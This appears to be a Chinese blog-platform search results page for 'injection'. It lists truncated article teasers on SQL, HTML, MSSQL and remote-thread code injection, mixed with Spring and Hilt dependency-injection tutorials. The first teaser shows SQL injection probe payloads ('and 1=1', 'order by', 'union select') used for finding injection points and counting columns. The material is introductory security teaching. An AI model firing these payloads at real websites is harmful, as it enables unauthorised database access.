  • 一些常见的SQL注入方法 一.联合注入 判断是否有注入点 ’ and 1=1–+ 猜列数 'order by 1–+ 一直猜到5报错,列数为4 猜库 'and 1=1改为and 1=2 'and 1=2 union select 1,2,3,4–+发现标题为2,内容为3,把2,3换成...
  • Jetpack新成员,一篇文章带你玩转Hilt和依赖注入

    万次阅读 多人点赞 2020-11-24 07:53:15
    依赖注入的英文名是Dependency Injection,简称DI。事实上这并不是什么新兴的名词,而是软件工程学当中比较古老的概念了。 如果要说对于依赖注入最知名的应用,大概就是Java中的Spring框架了。Spring在刚开始其实...
  • 究竟什么是SQL注入

    万次阅读 多人点赞 2020-06-03 20:39:43
    SQL注入是Web安全层面最高危的漏洞之一,长期霸榜OWASP Top10首位,但是究竟什么事SQL注入?SQL注入又是怎么产生的?接下来本篇文章将详细介绍SQL注入产生的原理。本篇文章并没有描述具体的注入方法,而是侧重于对...
  • SQL注入之五大注入手法

    千次阅读 多人点赞 2019-10-30 13:27:10
    文章目录1、UNION query SQL injection(可联合查询注入)2、Error-based SQL injection(报错型注入)3、Boolean-based blind SQL injection(布尔型注入)4、Time-based blind SQL injection(基于时间延迟注入)5...
  • 代码注入(线程注入

    千次阅读 2018-10-05 23:16:37
    代码注入概念 代码注入是一种向目标进程插入独立运行代码并使之运行的技术,其一般调用CreateRemoteThread() API以远程线程的形式运行插入的代码,亦称为线程注入。代码以线程过程(ThreadProcedure)形式插入,而...
  • Spring依赖注入与自动装配

    万次阅读 2021-02-06 11:13:29
    Spring依赖注入与自动装配 首先推荐狂神说的Spring讲义 1.Beans.xml作用 简而言之,我们通过在beans.xml中进行配置,将各种类交给spring来管理。 2.依赖注入 推荐狂神说Spring03:依赖注入(DI) 这要从控制反转说起...
  • 注入篇——HTML注入

    千次阅读 2019-09-23 18:50:53
    描述超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。... 这个漏洞是独立的,不同于注入 Javasc...
  • MSSQL注入

    千次阅读 2019-09-03 23:21:11
    MSSQL数据库 数据库简介 MSSQL是指微软的SQLServer数据库服务器,...MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路 ...
  • sql注入基础原理(超详细)

    万次阅读 多人点赞 2019-05-17 17:14:06
    一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。 二、Web 程序三层架构 三层...
  • Spring之自动注入

    万次阅读 2018-08-20 21:01:51
    本文内容 手动注入的不足 Class.isAssignableFrom方法介绍 3种自动注入方式详解及案例 按名称自动注入 按类型自动注入 按构造器进行自动注入 按类型自动注入某种类型的所有bean给List和Map(重点) autowire=default...
  • 关于SQL注入的一些分析

    千次阅读 多人点赞 2019-10-24 22:30:19
    一、sql注入原理 SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 879,084
精华内容 351,633
关键字:

注入